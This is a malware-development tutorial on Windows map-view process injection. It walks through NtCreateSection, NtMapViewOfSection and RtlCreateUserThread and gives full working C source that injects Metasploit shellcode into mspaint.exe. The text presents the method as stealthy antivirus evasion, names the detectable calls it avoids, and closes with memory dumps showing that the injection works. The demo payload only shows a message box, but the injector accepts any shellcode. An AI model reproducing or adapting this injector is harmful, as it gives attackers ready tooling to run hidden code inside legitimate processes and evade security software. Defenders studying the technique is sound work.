

## Map View Code Injection

In this section we are going to learn about Map View Code Injection, it is done by creating views on sections of memory and then mapping them to the remote process.

### Basic Concepts

- Inter Process Communication (IPC) via Mapping-View techniques
- By sharing memory between 2 processes
- The Malware shares its memory with a Target Process
- Then, the Malware executes the shared memory remotely via the Target Process


Let's see the mechanism of the Map view code injection:

At first, we have the malware, which has the shellcode, and on the right, we have the target process

### Mechanism of Map-View Code Injection




# Mechanism of Map-View Code Injection



The first step is to Create Section memory in the malware using NtCreateSection.


# Mechanism of Map-View Code Injection



The second step is to create a local view, by using NtMapViewOfSection.

A view is a way of assessing a session inside the memory, and this local view is done by using NtMapViewOfSection.


# Mechanism of Map-View Code Injection



The 3<sup>rd</sup> step involves copying the shellcode to the newly created session using the local view, and it is done by using the memcpy function.


After copying the shellcode, the new session will be populated with the shellcode of the malware, and it accessible using view.

# Mechanism of Map-View Code Injection



The 4<sup>th</sup> step is to create a remote view in the target process using NtMapViewOfSection.

# Mechanism of Map-View Code Injection



Then the last 5<sup>th</sup> step is to Access the shellcode using RtlCreateuserThread.

Here the malware will use the target process's remote view as a proxy to access the shellcode locally and execute it.

And it appears stealthy because the shellcode is coming from the target process rather than the malware itself.

## Advantages

- No need to use
  - VirtualAllocEx
  - WriteProcessMemory
- The above calls are classic tell-tale signs of process injection which AV can detect
- By sharing memory, we make it appear like a legitimate remote process is executing the shellcode
- The Target Process acts as a proxy for the Malware
- The Malware runs the shellcode via the Target Process
- More Stealthy

## Disadvantages

- It makes use of the API NtMapViewOfSection which may be monitored by AV

Here's the code:

```
1
2  #include <windows.h>
3  #include <stdio.h>
4  #include <stdlib.h>
5  #include <string.h>
6  #include <tlhelp32.h>
7
8  // 64-bit shellcode to display messagebox, generated using Metasploit on Kali Linux
9  unsigned char shellcodePayload[355] = {
10     0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00,
11     0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65,
12     0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, 0x18, 0x3E, 0x48, 0x8B,
13     0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
14     0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02,
15     0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52,
16     0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x8B, 0x42, 0x3C, 0x48,
17     0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
18     0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44,
19     0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E,
20     0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
21     0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
22     0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6,
23     0x58, 0x3E, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41,
24     0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x3E,
25     0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x20,
26     0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20,
27     0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12,
28     0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48, 0x8D, 0x8D, 0x4B, 0x01,
29     0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
30     0xC1, 0x10, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x2A, 0x01, 0x00,
31     0x00, 0x3E, 0x4C, 0x8D, 0x85, 0x42, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9,
32     0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A,
33     0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4,
34     0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
35     0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x48,
36     0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74,
37     0x68, 0x65, 0x20, 0x46, 0x55, 0x54, 0x55, 0x52, 0x45, 0x21, 0x00, 0x47,
38     0x4F, 0x54, 0x20, 0x59, 0x4F, 0x55, 0x21, 0x00, 0x75, 0x73, 0x65, 0x72,
39     0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00
40 };
41
42 unsigned int lengthOfShellcodePayload = 355;
43
```

```
45 typedef struct _CLIENT_ID {
46     HANDLE UniqueProcess;
47     HANDLE UniqueThread;
48 } CLIENT_ID, *PCLIENT_ID;
49
50 typedef struct _UNICODE_STRING {
51     USHORT Length;
52     USHORT MaximumLength;
53     _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
54 } UNICODE_STRING, *PUNICODE_STRING;
55
56
57 typedef struct _OBJECT_ATTRIBUTES {
58     ULONG Length;
59     HANDLE RootDirectory;
60     PUNICODE_STRING ObjectName;
61     ULONG Attributes;
62     PVOID SecurityDescriptor;
63     PVOID SecurityQualityOfService;
64 } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
65
66
67 typedef NTSTATUS (NTAPI * NtCreateSection_Ptr)(
68     OUT PHANDLE SectionHandle,
69     IN ULONG DesiredAccess,
70     IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
71     IN PLARGE_INTEGER MaximumSize OPTIONAL,
72     IN ULONG PageAttributes,
73     IN ULONG SectionAttributes,
74     IN HANDLE FileHandle OPTIONAL);
75
```

```

77     typedef NTSTATUS (NTAPI * NtMapViewOfSection_Ptr)(
78         HANDLE SectionHandle,
79         HANDLE ProcessHandle,
80         PVOID * BaseAddress,
81         ULONG_PTR ZeroBits,
82         SIZE_T CommitSize,
83         PLARGE_INTEGER SectionOffset,
84         PSIZE_T ViewSize,
85         DWORD InheritDisposition,
86         ULONG AllocationType,
87         ULONG Win32Protect);
88
89
90     typedef enum _SECTION_INHERIT {
91         ViewShare = 1,
92         ViewUnmap = 2
93     } SECTION_INHERIT, *PSECTION_INHERIT;
94
95     typedef FARPROC (WINAPI * RtlCreateUserThread_Ptr)(
96         IN HANDLE ProcessHandle,
97         IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
98         IN BOOLEAN CreateSuspended,
99         IN ULONG StackZeroBits,
100         IN OUT PULONG StackReserved,
101         IN OUT PULONG StackCommit,
102         IN PVOID StartAddress,
103         IN PVOID StartParameter OPTIONAL,
104         OUT PHANDLE ThreadHandle,
105         OUT PCLIENT_ID ClientId);

```

```

107 int SearchForProcess(const char *processName) {
108
109     HANDLE hSnapshotOfProcesses;
110     PROCESSENTRY32 processStruct;
111     int pid = 0;
112
113     hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
114     if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
115
116     processStruct.dwSize = sizeof(PROCESSENTRY32);
117
118     if (!Process32First(hSnapshotOfProcesses, &processStruct)) {
119         CloseHandle(hSnapshotOfProcesses);
120         return 0;
121     }
122
123     while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
124         if (lstrcmpiA(processName, processStruct.szExeFile) == 0) {
125             pid = processStruct.th32ProcessID;
126             break;
127         }
128     }
129
130     CloseHandle(hSnapshotOfProcesses);
131
132     return pid;
133 }

```

```

136 int InjectVIEW(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
137
138     HANDLE hSection = NULL;
139     PVOID pLocalView = NULL, pRemoteView = NULL;
140     HANDLE hThread = NULL;
141     CLIENT_ID cid;
142
143     // create memory section in local process
144     NtCreateSection_Ptr pNtCreateSection = (NtCreateSection_Ptr) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection");
145     if (pNtCreateSection == NULL)
146         return -2;
147     pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER) &payload_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
148
149     // create local section view
150     NtMapViewOfSection_Ptr pNtMapViewOfSection = (NtMapViewOfSection_Ptr) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection");
151     if (pNtMapViewOfSection == NULL)
152         return -2;
153     pNtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NULL, NULL, NULL, (SIZE_T *) &payload_len, ViewUnmap, NULL, PAGE_READWRITE);
154
155     // copy the payload into the section
156     memcpy(pLocalView, payload, payload_len);
157
158     // create remote view (in target process)
159     pNtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL, (SIZE_T *) &payload_len, ViewUnmap, NULL, PAGE_EXECUTE_READ);
160
161     printf("Addresses: payload = %p ; RemoteView = %p ; LocalView = %p\n", payload, pRemoteView, pLocalView);
162     printf("Press Enter to Continue\n");
163     getchar();
164
165     // execute the payload
166     RtlCreateUserThread_Ptr pRtlCreateUserThread = (RtlCreateUserThread_Ptr) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread");
167     if (pRtlCreateUserThread == NULL)
168         return -2;
169     pRtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteView, 0, &hThread, &cid);
170     if (hThread != NULL) {
171         WaitForSingleObject(hThread, 500);
172         CloseHandle(hThread);
173         return 0;
174     }
175     return -1;
176 }

```



```

182 int main(void) {
183
184     int pid = 0;
185     HANDLE hProcess = NULL;
186
187     pid = SearchForProcess("mspaint.exe");
188
189     if (pid) {
190         printf("mspaint.exe PID = %d\n", pid);
191
192         // try to open target process
193         hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
194                                | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
195                                FALSE, (DWORD) pid);
196
197         if (hProcess != NULL) {
198             InjectVIEW(hProcess, shellcodePayload, lengthOfShellcodePayload);
199             CloseHandle(hProcess);
200         }
201     }
202     return 0;
203 }
204

```

So, now let's discuss the API used in a detailed manner:

CLIENT\_ID:

The CLIENT\_ID structure contains identifiers of a process and a thread.

```

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;

```

UNICODE\_STRING:

The UNICODE\_STRING structure is used to define Unicode strings.

```

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

```

## OBJECT\_ATTRIBUTES:

The OBJECT\_ATTRIBUTES structure specifies attributes that can be applied to objects or object handles by routines that create objects and/or return handles to objects.

```
C++

typedef struct _OBJECT_ATTRIBUTES {
    ULONG          Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG          Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
```

## SECTION\_INHERIT:

```
typedef enum _SECTION_INHERIT {

    ViewShare=1,
    ViewUnmap=2

} SECTION_INHERIT, *PSECTION_INHERIT;
```

ViewShare: The created view of Section Object will be also mapped to any created in the future process.

ViewUnmap: The created view will not be inherited by child processes.

In the code, we can see that it is using the same SearchForProcess.

So, now let's see a new function: InjectVIEW:

It accepts the following parameters:

1. Handle of the process
2. Payload
3. Size of the payload

Now first we will get the address of NtCreateSection using GetProcAddress, and GetModuleHandle. We do it to be stealthy.

NtCreateSection:

```
NTSYSAPI
NTSTATUS
NTAPI

NtCreateSection(

    OUT PHANDLE           SectionHandle,
    IN ULONG               DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER      MaximumSize OPTIONAL,
    IN ULONG               PageAttributes,
    IN ULONG               SectionAttributes,
    IN HANDLE              FileHandle OPTIONAL );
```

Function NtCreateSection creates Section Object (virtual memory block with associated file).

- 
- SectionHandle Result of call - **HANDLE** to Section Object.
  - DesiredAccess Access mask. Can be combination of:
    - SECTION\_QUERY
    - SECTION\_MAP\_WRITE
    - SECTION\_MAP\_READ
    - SECTION\_MAP\_EXECUTE
    - SECTION\_EXTEND\_SIZE
    - SECTION\_ALL\_ACCESS
  - ObjectAttributes Pointer to **OBJECT\_ATTRIBUTES** structure contains section name, in Object Namespace format.
  - MaximumSize Optionally define maximum size of section. Must be defined when caller create section based on system *PageFile*.
  - PageAttributes Can be one or combination of:
    - PAGE\_NOACCESS
    - PAGE\_READONLY
    - PAGE\_READWRITE
    - PAGE\_WRITECOPY
    - PAGE\_EXECUTE
    - PAGE\_EXECUTE\_READ
    - PAGE\_EXECUTE\_READWRITE
    - PAGE\_EXECUTE\_WRITECOPY
    - PAGE\_GUARD
    - PAGE\_NOCACHE
    - PAGE\_WRITECOMBINE
  - SectionAttributes Can be one or combination of:
    - SEC\_FILE
    - SEC\_IMAGE
    - SEC\_RESERVE
    - SEC\_COMMIT
    - SEC\_NOCACHE
  - FileHandle Optionally **HANDLE** to File Object opened with proper access.

Next, we are going to use NtMapViewOfSection, to create a local view

So, we are going to load this function dynamically.

```

NTSYSAPI
NTSTATUS
NTAPI

NtMapViewOfSection(

    IN HANDLE                SectionHandle,
    IN HANDLE                ProcessHandle,
    IN OUT PVOID             *BaseAddress OPTIONAL,
    IN ULONG                 ZeroBits OPTIONAL,
    IN ULONG                 CommitSize,
    IN OUT PLARGE_INTEGER     SectionOffset OPTIONAL,
    IN OUT PULONG            ViewSize,
    IN                       InheritDisposition,
    IN ULONG                 AllocationType OPTIONAL,
    IN ULONG                 Protect );

```

Function **NtMapViewOfSection** maps specified part of Section Object into process memory.

- **SectionHandle** **HANDLE** to Section Object opened with one or more from **SECTION\_MAP\_EXECUTE**, **SECTION\_MAP\_READ**, **SECTION\_MAP\_WRITE** attributes.
- **ProcessHandle** **HANDLE** to Process Object opened with **PROCESS\_VM\_OPERATION** access.
- **\*BaseAddress** Pointer to variable receiving virtual address of mapped memory. If this value is not **NULL**, system tries to allocate memory from specified value.
- **ZeroBits** Indicates how many high bits must not be set in **BaseAddress**.
- **CommitSize** Size of initially committed memory, in bytes.
- **SectionOffset** Pointer to begin of mapped block in section. This value must be rounded up to **X64K** block size (**0x10000** on **x86**).
- **ViewSize** Pointer to size of mapped block, in bytes. This value is rounded up to page size (**0x1000** on **x86**).
- **InheritDisposition** How to child processes inherit mapped section. See description of enumeration type **SECTION\_INHERIT**.
- **AllocationType** Can be one of:
  - **MEM\_COMMIT**
  - **MEM\_RESERVE**
- **Protect** Page protection. Can be one of:
  - **PAGE\_NOACCESS**
  - **PAGE\_READONLY**
  - **PAGE\_READWRITE**
  - **PAGE\_WRITECOPY**
  - **PAGE\_EXECUTE**
  - **PAGE\_EXECUTE\_READ**
  - **PAGE\_EXECUTE\_READWRITE**
  - **PAGE\_EXECUTE\_WRITECOPY**
  - **PAGE\_GUARD**
  - **PAGE\_NOCACHE**
  - **PAGE\_WRITECOMBINE**

Now we are going to copy the shellcode to the new section which we had created, using **memcpy**.

And next step is to create a remote view in the target process using **NtMapViewOfSection**

So, here the malware shares its memory using the remote view.

Now, we are going to load **RtlCreateUserThread**, so we will be loading it dynamically to be stealthy.

So, once we execute this, we are executing the shellcode remotely, basically, the target process acts as a proxy between the malware and the shellcode.

```
RtlCreateUserThread(
```

**StackZeroBits**

**StartAddress**

Now, let's see whether our code works or not:


[illegible]

mapviewinjection.exe (3960) (0x7ff677243000 - 0x7ff677245000)

```
00000000 4c 48 81 e4 f0 ff ff ff e8 d0 00 00 00 41 51 41 .H.....AQA
00000010 50 52 51 56 48 31 d2 65 48 8b 52 60 3e 48 8b 52 PRQVH1.eH.R`>H.R
00000020 18 3e 48 8b 52 20 3e 48 8b 72 50 3e 48 0f b7 4a .>H.R >H.rP>H..J
00000030 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 Jm1.Hl..<a|., A.
00000040 c9 0d 41 01 c1 e2 ed 52 41 51 3e 48 8b 52 20 3e ..A....RAQ>H.R >
00000050 8b 42 3c 48 01 d0 3e 8b 80 88 00 00 00 48 85 c0 .B<H.>.....H..
00000060 74 6f 48 01 d0 50 3e 8b 48 18 3e 44 8b 40 20 49 toH..P>.H.>D.@ I
00000070 01 d0 e3 5c 48 ff c9 3e 41 8b 34 88 48 01 d6 4d ...\\H.>A.4.H..M
00000080 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 l.Hl..A...A..8.u
00000090 f1 3e 4c 03 4c 24 08 45 39 d1 75 d6 58 3e 44 8b .>L.L$.E9.u.X>D.
000000a0 40 24 49 01 d0 66 3e 41 8b 0c 48 3e 44 8b 40 1c @fI..f>A..H>D.@.
000000b0 49 01 d0 3e 41 8b 04 88 48 01 d0 41 58 41 58 5e I..>A...H..AXAX^
000000c0 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0 YZAXAYAZH.. AR..
000000d0 58 41 59 5a 3e 48 8b 12 e9 49 ff ff ff 5d 49 c7 XAYZ>H...I...]I.
000000e0 c1 40 00 00 00 3e 48 8d 95 1a 01 00 00 3e 4c 8d .@...>H.....>L.
000000f0 85 3a 01 00 00 48 31 c9 41 ba 45 83 56 07 ff d5 :....Hl.A.E.V...
00000100 bb e0 1d 2a 0a 41 ba a6 95 bd 9d ff d5 48 83 c4 ...*.A.....H..
00000110 28 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a (<.|....u...G.roj
00000120 00 59 41 89 da ff d5 48 65 6c 6c 6f 2c 20 66 72 .YA....Hello, fr
00000130 6f 6d 20 63 72 61 63 6b 69 6e 67 6c 65 73 73 6f om crackinglezzo
00000140 6e 73 2e 63 6f 6d 00 53 68 65 6c 6c 63 6f 64 65 ns.com.Shellcode
00000150 00 00 00 00 51 01 00 00 4e 74 43 72 65 61 74 65 ....Q...NtCreate
00000160 53 65 63 74 69 6f 6e 00 4e 54 44 4c 4c 2e 44 4c Section.NTDLL.DL
00000170 4c 00 00 00 00 00 00 00 4e 74 4d 61 70 56 69 65 L.....NtMapVie
00000180 77 4f 66 53 65 63 74 69 6f 6e 00 00 00 00 00 00 wOfSection.....
00000190 4e 54 44 4c 4c 2e 44 4c 4c 00 00 00 00 00 00 00 NTDLL.DLL.....
000001a0 41 64 64 72 65 73 73 65 73 3a 20 70 61 79 6c 6f Addresses: paylo
000001b0 61 64 64 72 65 73 73 65 73 3a 20 70 61 79 6c 6f Addresses: paylo
```


Re-read Write Go to... 16 bytes per row Save... Close

And if we follow the local view address



Now if we follow the remote view address in mspaint:





We can see that we got the same shellcode in all the addresses.

And now if we continue the program, we can see that we have got the pop-up

